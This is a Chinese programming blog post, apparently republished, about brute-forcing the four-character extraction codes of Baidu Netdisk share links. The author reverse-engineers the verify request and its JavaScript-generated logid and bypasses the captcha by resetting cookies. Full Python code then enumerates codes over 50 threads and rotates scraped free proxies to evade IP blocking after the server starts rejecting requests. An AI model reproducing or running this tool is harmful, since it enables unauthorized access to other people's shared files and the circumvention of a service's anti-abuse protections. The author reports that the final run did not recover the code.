python3爬虫(5)百度云盘暴力破解尝试
4年前寫過一篇文章,暴力破解百度云,鏈接(當然這個方法早已失效):
https://blog.csdn.net/liujiayu2/article/details/48953745
當時寫這篇文章的時候是同事的感召,他寫了一個,心中想既然他能寫那我也能寫,沒過多久果然弄出來了,成就感十足。C++寫的,稍微有點麻煩,代碼還是很清晰,百度網盤不會對驗證碼進行校驗。這個是10分重要的,驗證碼驗證還真不好做,目前做爬蟲也都是手工驗證,要是暴力破解也采用手工驗證那就天方夜譚了。
?
1.研究一下目前百度云盤驗證機制
最近在研究爬蟲,沒事也搞搞這個,自己分享了一個百度云盤鏈接(知道密碼好測試):
測試鏈接:https://pan.baidu.com/s/1Vi2g_l0A4UJFnuAaeZh7fg
提取碼:os0p
自動跳轉:https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg
瀏覽器地址欄輸入第一個分享鏈接,回車,會自動跳轉第二個鏈接,并出現輸入提取碼提取文件頁面,輸入密碼1234,F12打開抓包工具,點擊提取文件,抓到一個xhr請求
看下請求參數
簡單多次測試和觀察,surl來自于地址欄,t是時間戳,channel固定,web固定,app_id固定,bdstoken固定,logid變動,沒看出來哪里出來的,clienttype固定,pwd輸入的密碼,vcode驗證碼,vcode_str和驗證碼有關的字符串。
驗證碼機制研究與分析:
連續4次輸錯密碼才會彈出驗證碼,讓用戶輸入。清空瀏覽器緩存,刷新頁面,驗證碼有消失了,可見,驗證碼不是必須的,服務器記錄了哪一個cookie連續輸錯的次數,我們不停的更換cookie就可以跳過驗證碼驗證機制(簡單點來講:模擬瀏覽器操作,每次請求之后清空緩存,重新獲取cookie)。
Logid研究與分析:
首先我們只是打開瀏覽器,輸入地址,沒輸入與我們相關的任何信息,這個id是變動每次請求都不一樣,看下這個id也不是服務器返回的(提取文件請求只有一個,很容易看到沒有這個字符串),那他是哪里來的,目測是本地JS生成的,找下看看吧,打開開發者工具里面的sources頁面,看到瀏覽器運行的時候加載的JS,
IE看這個也很直接
我們把這些JS統統分別復制下來,分別粘貼到文本里面,批量搜索字符串logid,既然請求是xhr也就是JS發出的請求,理論上講,請求的地址和參數都會在JS里面合成,所有JS里面應該可以搜索的到logid。經過搜索,我們定位了一個文件,boot.js里面有合成參數代碼,如下圖
?
為什么么JS代碼只有一行,網上搜索了一下這是經過混淆的,目的就是不方便閱讀,一般瀏覽器都提供了使之格式化的工具,點一下下面的“{}”按鈕就可以了,
點擊之后:
?
IE也有類似功能:
沒有寫過JS代碼想完全讀懂還是有點壓力的,有趣的是我們可以通過調試,看程序是怎么運行的,這樣更方便JS的理解,在行號左邊點擊一下就可以加個斷點,下好斷電之后,輸入密碼,點擊提取,JS程序就會斷到斷點處,如果沒有斷下來重新打開瀏覽器再來一遍(chrome瀏覽器時常有段不下來的現象,IE就好多了肯定斷的下來),一步一步調試,一點一點看變量值,右邊的菜單欄可以出來一個console界面,輸入變量的值,回車也可以看值
調試快捷鍵和VS差不多,F10單步走,F11單步進,F8執行到下個斷點(IE是F5)
經過簡單分析,這些代碼是一個調用另一個,最終達到目的:根據cookie中字段BAIDUID生成logid的值
?
2.代碼實現和一些細節
上面我們分析了原理,現在說說怎么用編程語言py實現,首先是這個logid的生成,我已開始的想法是,看懂這段JS代碼自己寫個相應的py版本,1分鐘后就放棄了,這他媽也太復雜了,py這門語言之所以強大關鍵就是他的第三方庫豐富,那有沒有py調用js的庫呢,網上搜了一下還真有,pyv8和js2py兩個庫都可以,pyv8好像支持py2所以咱們就用js2py這個庫吧,先看一下這個庫怎么用,js2py安裝與使用教程:
https://www.cnblogs.com/qingsheng/p/9594200.html
看了這個教程,說實話有點簡短,其實我想要的是:有一個JS文件,里面有若干個函數,我想調用其中一個。但是文章沒有提供這樣的接口,網上搜了也沒搜索的到,簡單看下js2py也沒有看到類似接口函數。原本的想法是把整個JS文件復制下來存為boot.js,然后調用其中的w函數,看來是泡湯了。于是我嘗試了把需要用的函數提取出來存為boot2.js。代碼如下:
var u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/~!@#¥%……&" ,l=String.fromCharCode ,d=function(e){if(e.length<2){var n=e.charCodeAt(0);return 128>n?e:2048>n?l(192|n>>>6)+l(128|63&n):l(224|n>>>12&15)+l(128|n>>>6&63)+l(128|63&n)}var n=65536+1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320);return l(240|n>>>18&7)+l(128|n>>>12&63)+l(128|n>>>6&63)+l(128|63&n) } ,f=/[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g,g=function(e){return(e+""+Math.random()).replace(f,d) } ,h=function(e){var n=[0,2,1][e.length%3],t=e.charCodeAt(0)<<16|(e.length>1?e.charCodeAt(1):0)<<8|(e.length>2?e.charCodeAt(2):0),o=[u.charAt(t>>>18),u.charAt(t>>>12&63),n>=2?"=":u.charAt(t>>>6&63),n>=1?"=":u.charAt(63&t)];return o.join("") } ,m=function(e){return e.replace(/[\s\S]{1,3}/g,h) } ,p=function(){return m(g((new Date).getTime())) } ,w=function(e,n){return n?p(String(e)).replace(/[+\/]/g,function(e){return"+"==e?"-":"_"}).replace(/=/g,""):p(String(e)) }function enString2(data){var enchex = w(data)return enchex; }寫一段測試代碼,測試一下,成功了(從格式和長度來看),測試代碼如下:
import js2py# data=open('boot.js','r',encoding= 'utf8').read() # tt = js2py.eval_js(data)data=open('boot2.js','r',encoding= 'utf8').read() print(type(data)) w=js2py.eval_js(data) print(w('E1D822C135210D1CC83DD8190AF05734:FG=1'))print('end')于是,嘗試寫一下整項目,代碼如下:
import requests import time import js2pyfrom urllib.parse import urlencode#下載鏈接 #注請使用跳轉之后的鏈接,原鏈接不會獲取cookie,從代碼測試結果來講是這樣的 #down_url = 'https://pan.baidu.com/s/1Vi2g_l0A4UJFnuAaeZh7fg' down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'header ={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Encoding':'gzip, deflate, sdch, br','Accept-Language':'zh-CN,zh;q=0.8','Connection':'keep-alive','Host':'pan.baidu.com','Upgrade-Insecure-Requests':'1','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0' }#獲取cookie里面的 BAIDUID 的值 seesion = requests.session() #seesion.headers.clear() seesion.headers.update(header) #不使用第二個參數正常訪問是ok的。如果打開HttpAnalyzer抓包會直接崩潰,彈出錯誤requests.exceptions.SSLError,添加上這個參數就可以了 res = seesion.get(down_url, verify=False) cookies = res.cookies.get_dict()#添加一下cookie屬性 timestr = str(int(time.time())) cookies['Hm_lvt_7a3960b6f067eb0085b7f96ff5e660b0'] = timestr cookies['Hm_lpvt_7a3960b6f067eb0085b7f96ff5e660b0'] = timestr seesion.cookies.clear() seesion.cookies.update(cookies)#獲取 BAIDUID 加密值 data=open('boot2.js','r',encoding= 'utf8').read() w=js2py.eval_js(data) cookie_encode =w(cookies['BAIDUID'])#params方式傳遞get參數,會對字符進行Urlcode編碼,=會轉化為%3D,導致請求失敗 url = 'https://pan.baidu.com/share/verify?logid=' params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0' } params['t'] = str(int(int(time.time()*1000))) # params['logid'] = cookie_encode url += cookie_encode data = {'pwd':'2222','vcode':'','vcode_str': '' } params2 = urlencode(params) res = seesion.post(url, params = params2, data = data)print('end')結果發下反回了數據“'{"errno":2,"request_id":314674761273760332}'”。額,眉頭緊縮一下,感覺有點不太對,我們再看下瀏覽器返回的啥數據:
“{"errno":-9,"err_msg":"","request_id":314701270676769174}”
瀏覽器返回的錯誤碼是:-9,我們寫的返回碼是2,瀏覽器提示是提取碼錯誤,我們這個情況不是提取碼錯誤,還有點異常,這個2是什么意思?還是那個方法在所有js里面搜索所
IE瀏覽器打開開發者工具,轉到“腳本”頁面,CTRL+F,輸入-9或者錯誤,一個個搜索,找一下錯誤碼定義,最找到了:
參數錯誤,可見還是有點方傳值沒傳好,這個項目請求的要點如下:
一般來講,只要上面4點模擬到位,不可能出現瀏覽器和py代碼不一致的現象,簡單修改了一下cookie,還是參數錯。哎,最近自己時間有點緊張了,先記載到這里,有時間再研究,,,
========================以下為12:59 2019/1/25更新==============================
這個項目沒有完成一直是我的心病,凡事不能半途而廢(當然也不能不到南墻不回頭,具體情況具體分析),半途而非與我人生來講都是個打擊,心里面總想著這個事兒自己沒能拿下(當然這個測試完全可以用selenium來做,不需要任何的分析,考慮到我們是做暴力破解,注重效率,不太合適)。不多比比了,入正題。上次講到自己post之后返回碼是2,瀏覽器返回碼是-9,總結一下是post信息有誤,錯誤無非是以下4個地方(任何項目而言基本是這樣,請不要那特殊列子和我抬杠)1地址欄參數,2post參數,3http頭信息,4cookie信息。我們就想辦法對比一下自己用py發送的和瀏覽器發送區別,怎么對比,先抓包唄,我還是感覺HttpAnalyzer這個抓包工具相當不錯,抓瀏覽器包的時候發現抓取不到,同時打開開發工具發現發送失敗,如下圖:
哎,都是事兒,我有換了瀏覽器IE,說實話上次調試JS的時候就感覺還是IE好用,這次又一次印證了我的看法,用IE抓包沒啥問題,再抓一下py代碼發送的數據包,對比一下,更改不同之處,不大會兒py代碼就返回了期待已久的-9。整個代碼如下
import requests import time import execjsdown_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg' seesion = requests.session() seesion.cookies.clear()#params方式傳遞get參數,會對字符進行Urlcode編碼,=會轉化為%3D,導致請求失敗 url = 'https://pan.baidu.com/share/verify?logid=' params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0' } params['t'] = str(int(int(time.time()*1000)))#獲取 BAIDUID 加密值 url += execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '') data = {'pwd':'1234','vcode':'','vcode_str': '' } header2 ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Host':'pan.baidu.com','DNT':'1','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)' }seesion.headers.clear() seesion.headers.update(header2) res = seesion.post(url, params = params, data = data, verify=False)print('end')說明:
1.經過測試,瀏覽器清空所有緩存,提交密碼也能返回-9,看了一下發送cookie是空的,既然這樣我們py代碼里面也清空。
2.發現了一個py運行js的庫execjs。用法看上面的代碼
下面我們考慮一下暴力破解的事情吧。
花了一段時間,完成了多線程版密碼枚舉,代碼如下:
import requests import time import execjs import json import generatepwd import threadingimport urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg' # seesion = requests.session()#params方式傳遞get參數,會對字符進行Urlcode編碼,=會轉化為%3D,導致請求失敗 url = 'https://pan.baidu.com/share/verify?logid=' params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0' } data = {'pwd':'1234','vcode':'','vcode_str': '' } header2 ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Host':'pan.baidu.com','DNT':'1','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)' }def TryOnePwd(pwd):#獲取 BAIDUID 加密值curUrl = url + execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')params['t'] = str(int(int(time.time()*1000)))data['pwd']=pwdres = requests.post(curUrl, params = params, data = data, headers=header2, verify=False)jscode = 1024try:jscode = json.loads(res.text).get('errno');except:print(res.text)return jscode ''' # 單線程模式,效率太低 for pwd in generatepwd.createpwd():code = 1025if pwd=='0058':code = TryOnePwd(pwd)else:code = TryOnePwd('1234')print(pwd, code)if code == 0 :exit(0) '''#密碼集合 allpwd = generatepwd.createpwd() num = 0#線程函數 def threadFun(n):global numwhile num < len(allpwd):#線程安全代碼lock.acquire()curTestPwd = allpwd[num]num = num + 1lock.release()code = TryOnePwd(curTestPwd)if code == 0 :exit(0)print('線程編號:', n, " 測試密碼:",curTestPwd)#生成鎖 lock=threading.Lock()#存線程實例 res=[] start_time=time.time() for i in range(1):#創建線程50個線程t=threading.Thread(target=threadFun,args=("thread-%s"%i,))t.start()res.append(t)for r in res:#循環線程實例列表,等待所有的線程執行完畢r.join()#線程執行完畢后,才會往后執行,相當于C語言中的wait()print('end')generatepwd.py代碼:
#36 code = "0123456789abcdefghijklmnopqrstuvwxyz" def createpwd():allpwd = []for i in range(0,35):for j in range(0, 35):for k in range(0, 35):for h in range(0, 35):pwd = ""pwd += code[i]pwd += code[j]pwd += code[k]pwd += code[h]allpwd.append(pwd)return allpwd寫完這段代碼,把他運行起來,我出去抽了根煙,回來時候發現輸出狂不停輸出html源碼,不用想是發生錯誤了,仔細看了下是404錯誤。一開始運行好好的啊,可見服務器做了相關的策略,防止暴力猜解。于是我進行了如下測試
1.不管37=21先試試瀏覽器能否正常提取文件,是不是也是返回404錯誤,故意輸錯密碼試了幾次,有的時候返回了json(當然錯誤碼是-9),有的時候返回404,我又重新試了試代碼,其實也是有一定概率返回404,有一定概率返回json的。
2.是不是提取了我的http頭,加入黑名單?我剛用的IE,直接換個瀏覽器搜狗試試,發現也是有一定概率返回404一定概率返回json,截圖如下:要是這個情況,也可能是服務器對這個鏈接進行了保護,
3.重新分享一個鏈接,發現還是一定概率404,那只能懷疑IP是不是被記錄了,加入黑名單了,知道你在搞事,直接在服務器上做限制,我換了同事電腦試了一下(同局域網),發現也是有一定概率的404。這樣的話只能考慮代理的事情了。
========================以下為16:45 2019/1/29更新==============================
上次說到IP被封,無奈只好找代理,代理,找到兩個免費的,一個西刺,一個快代理。破解思路,嘗試一次換一次代理,當然這都要基于多線程,提高并發。整體代碼,如下:
import requests import time import execjs import json import threading import generatepwd import proxytest import proxytest2 import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg' # seesion = requests.session()#params方式傳遞get參數,會對字符進行Urlcode編碼,=會轉化為%3D,導致請求失敗 url = 'https://pan.baidu.com/share/verify?logid=' params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0' } data = {'pwd':'1234','vcode':'','vcode_str': '' } header2 ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Host':'pan.baidu.com','DNT':'1','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)' }def TryOnePwd(pwd,proxy):curproxy = proxy['ip'] + ':' + proxy['port']proxies = {'http': 'http://' + curproxy,'https': 'https://' + curproxy,}#獲取 BAIDUID 加密值curUrl = url + execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')params['t'] = str(int(int(time.time()*1000)))data['pwd']=pwdtry:res = requests.post(curUrl, params=params, data=data, headers=header2, verify=False, proxies=proxies, timeout=3)except BaseException as e:print('Error', e.args)needtryagainpwd.append(pwd)return 1001jscode = 1024try:jscode = json.loads(res.text).get('errno');except:print(res.text)return jscodenum = 0 proxyid = 0 #線程函數 def threadFun(n):global numglobal proxyidwhile num < len(allpwd):lock.acquire()# 獲取驗證一個密碼任務curTestPwd = allpwd[num]num = num + 1lock.release()while True:lock.acquire()# 獲取一個代理if proxyid==len(canUseProxies):proxyid=0proxy = canUseProxies[proxyid]proxyid = proxyid +1lock.release()print('線程編號:', n, " 測試密碼:", curTestPwd, "使用代理:", proxy)code = TryOnePwd(curTestPwd, proxy)if code == -9:breakif code == 0 :print('找到了密碼',curTestPwd)exit(0)if __name__ == '__main__':# 密碼集合allpwd = generatepwd.createpwd()#使用代理驗證密碼的時候,代理正好失效了,needtryagainpwd=[]# 代理集合canUseProxies = proxytest2.GetCanUseProxies()# 生成鎖lock = threading.Lock()# 存線程實例res=[]start_time=time.time()for i in range(50):#創建線程50個線程t=threading.Thread(target=threadFun,args=("thread-%s"%i,))t.start()res.append(t)for r in res:#循環線程實例列表,等待所有的線程執行完畢r.join()#線程執行完畢后,才會往后執行,相當于C語言中的wait()print('end')proxytest2.py代碼如下:
#快代理:https://www.kuaidaili.com/free/ # import requests from bs4 import BeautifulSoup import pandas as pd import threading import time from time import sleepimport urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)#代理是否成功測試網站 test_http = 'http://httpbin.org/get' test_https = 'https://httpbin.org/get'header ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)' }def pandas_to_xlsx(filename, info): # 儲存到xlsxpd_look = pd.DataFrame(info)pd_look.to_excel(filename, sheet_name='快代理')def TestOneProxy(ip, port,n):proxy = ip + ':' + portproxies = {'http': 'http://' + proxy,'https': 'https://' + proxy,}try:response = requests.get('http://httpbin.org/get', proxies=proxies , timeout=3)if response.status_code == 200 :print(n,'--驗證代理通過 ip', ip, ' 端口:', port)return Trueelse:print(n,'--驗證代理失敗 ip', ip, ' 端口:', port)return Falseexcept BaseException as e:print(n,'--Error', e.args)return Falsedef getHttpsProxy(url):for i in range(1,20):sleep(1)curUrl = url + str(i) + '/'try:print('正在獲取代理信息,網頁', curUrl)webcontent = requests.get(curUrl,verify=False)if webcontent.status_code!=200 :print('獲取錯誤網頁,錯誤碼:',webcontent.status_code)continuesoup = BeautifulSoup(webcontent.text, 'lxml')list = soup.select('#list')if len(list) == 0:print('獲取錯誤網頁,網頁內容:',webcontent.text)continuea = list[0].select('tbody')[0]b = a.select('tr')for item in b:td = item.select('td')info = {}info['ip'] = td[0].textinfo['port'] = td[1].textinfo['匿名度'] = td[2].textinfo['類型'] = td[3].textinfo['位置'] = td[4].textinfo['響應速度'] = td[5].textinfo['最后驗證時間'] = td[6].textallProxies.append(info)except requests.exceptions.ConnectionError as e:print('--Error', e.args)pandas_to_xlsx('所有代理.xlsx',allProxies)return allProxies#線程函數 num = 0 def threadFun(n):global numwhile True:#領取任務lock.acquire()if num >= len(allProxies):lock.release()#這個地方忘了寫這一行代碼,調試了一整天,淚奔breakcurTestProxy = allProxies[num]num = num + 1lock.release()#線程干活if TestOneProxy(curTestProxy['ip'],curTestProxy['port'],n):canUseProxies.append(curTestProxy)print(n,'--運行結束')def GetCanUseProxies():# 單線程獲取所有可用代理url = 'http://www.kuaidaili.com/free/inha/'getHttpsProxy(url)# 多線程測試是否可用res = []for i in range(50): # 創建線程50個線程t = threading.Thread(target=threadFun, args=("thread-%s" % i,))t.start()res.append(t)for r in res: # 循環線程實例列表,等待所有的線程執行完畢r.join() # 線程執行完畢后,才會往后執行,相當于C語言中的wait()if len(canUseProxies) > 0:pandas_to_xlsx('所有可用代理.xlsx', canUseProxies)return canUseProxiesallProxies = [] canUseProxies = [] lock = threading.Lock() if __name__ == '__main__':GetCanUseProxies()#print ('end')最后,這寫代碼最終還是沒有得到最后的密碼,原因是代理太不穩定,即使獲取的時候測試了一下,使勁使用的時候仍然不可用。告一段落吧。
?
?
?
總結
以上是生活随笔為你收集整理的python3爬虫(5)百度云盘暴力破解尝试的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python3爬虫(6)爬虫代理的使用
- 下一篇: 彻底理解 Python 生成器